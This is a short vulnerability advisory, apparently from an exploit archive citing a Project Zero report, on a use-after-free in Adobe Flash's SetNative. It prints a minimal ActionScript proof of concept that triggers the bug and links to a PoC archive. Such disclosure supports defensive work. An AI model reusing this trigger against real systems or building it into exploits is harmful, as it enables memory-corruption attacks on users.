Adobe Flash - SetNative Use-After-Free

2016-05-17 21:05:49

Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=800

There is a use-after-free in SetNative. If a watch is placed on a native that is initialized by SetNative, it can delete the object the set is being called on, leading to a use-after-free. A minimal PoC follows:

var t = this.createEmptyMovieClip("t", 1);
t.watch("a", func);
ASSetNative(t, 106, "a,b");


function func (){

t.removeMovieClip();

}

A swf and fla are attached.


Proof of Concept:
https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/39831.zip

Fixes

No fixes

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